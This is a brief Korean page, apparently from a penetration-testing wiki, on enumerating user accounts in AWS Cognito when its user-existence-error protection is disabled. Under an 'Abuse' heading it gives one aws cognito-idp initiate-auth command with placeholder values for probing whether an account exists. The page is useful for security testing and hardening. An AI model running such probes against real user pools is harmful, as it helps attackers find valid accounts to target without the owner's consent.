> For the complete documentation index, see [llms.txt](https://www.pentestwiki.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.pentestwiki.com/cloud/aws/undefined/cognito-account-enumeration.md).

# Cognito Account Enumeration

<figure><img src="/files/9pkGGfb4YrQiOFwCWd8P" alt=""><figcaption></figcaption></figure>

Cognito에서 패스워드 기반 로그인 시 `사용자 존재 오류 방지` 기능이 꺼져있다면, 존재하지 않는 계정과 존재하는 계정으로 로그인을 시도했을 때 서버의 응답 차이로부터 계정 열거가 가능합니다.

## Abuse

<pre class="language-bash"><code class="lang-bash"><strong># 계정 존재유무 확인
</strong>aws cognito-idp initiate-auth --region '&#x3C;region>' --client-id '&#x3C;client-id>' --auth-flow USER_PASSWORD_AUTH --auth-parameters USERNAME=admin@test.com,PASSWORD=x
</code></pre>

## Demo

<figure><img src="/files/aZrGePOHgmnhEWrQEg3n" alt=""><figcaption></figcaption></figure>

## References

{% embed url="<https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/>" %}
